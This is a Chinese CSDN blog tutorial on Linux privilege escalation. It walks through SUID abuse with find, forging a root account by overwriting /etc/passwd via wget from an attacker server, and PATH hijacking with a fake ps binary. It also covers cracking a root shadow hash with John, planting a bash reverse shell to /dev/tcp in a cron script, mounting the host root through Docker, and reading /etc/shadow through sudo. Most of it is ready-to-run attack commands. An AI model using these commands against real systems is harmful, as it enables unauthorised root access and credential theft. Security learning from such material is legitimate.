linux suid提权

本文详细介绍了Linux系统中的SUID权限、提权方法,包括利用SUID文件、passwd文件篡改、环境劫持、John密码破解、计划任务反弹shell、Docker提权和sudo权限滥用等多重提权手段,揭示了系统安全的重要性和潜在风险。
摘要由CSDN通过智能技术生成

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行
时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么
该执行程序运行的时候将拥有ROOT权限

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

在这里插入图片描述

find提权

cd /tmp
touch ni
find ni -exec whoami \;

如果发现有ni这个文件就执行whoami这个命令

常见suid提权

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

passwd提权
通过OpenSSL passwd生成一个新的用户hacker,密码为hack123

openssl passwd -1 -salt moonhack 123456

1 1 1moonhack$4o50Z4aoUGaLMC0Rg4Io40
在这里插入图片描述

将其追加到kali的/etc/passwd文件中
将moonhacker: 1 1 1moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:/root:/bin/bash追加到passwd中

moonhacker:$1$moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:/root:/bin/bash

在这里插入图片描述

在Kali上启动一个python服务器
python -m SimpleHTTPServer 8080
将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件

wget http://192.168.1.15:8080/passwd -O /etc/passwd
在这里插入图片描述

然后切换到moonhack用户即可
在这里插入图片描述

suid提权之环境劫持

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令
寻找suid文件

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
运行发现是个查询进程的,应该使用了ps命令
在这里插入图片描述
在/tmp命令下 创建ps文件 里面使用 /bin/bash执
行命令
当tmp的路径添加到当前环境路径,再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目
录的ps文件作为命令
所以可以劫持root命令执行

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /script
./shell

John破解shadow root密文登录提权
john会自动检测密文类型

--wordlist 字段文件
`john --wordlist="/usr/share/wordlists/rockyou.txt"  userpassw
root:$6$SblktEE6$.tpdPNBDyJVLw0LbeART/1dlTKyRE0j3s5S3czMmehp33gaZLueb9mwT2KPlp/7tVtjdwr75r.7sZAsXBV5GB/:17991:0:99999:7:::

在这里插入图片描述

Ubuntu计划任务反弹shell提权
当获取一个linux普通用户的时,查看计划任务
cat /etc/crontab
在这里插入图片描述
crontab -l 查看当前用户命令

tail -f /var/log/syslog
在这里插入图片描述
发现每一分钟执行一次cleanup.py
修改他的内容为bash反弹
vi /script/cleanup.py
bash -i >& /dev/tcp/192.168.1.15/8866 0>&1

docker 提权
docker是一个容器 可以在同一台机子虚拟多台服务。
输入命令id 和group 查询当前用户信息和组信息 发现存在docker组
在这里插入图片描述
输入命令下载使用容器把容器的目录挂载到宿主的根目录

docker run -v /:/mnt -it alpine

获得root权限
访问宿主的/etc/shadow
cat /mnt/etc/shadow

.sudo提权

sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知
道 root 的密码。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而
提权。
sudo -l
列出目前用户可执行与无法执行的指令。
在这里插入图片描述
可以看到cat命令拥有root权限,可以读取所以文件
sudo cat /etc/shadow

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值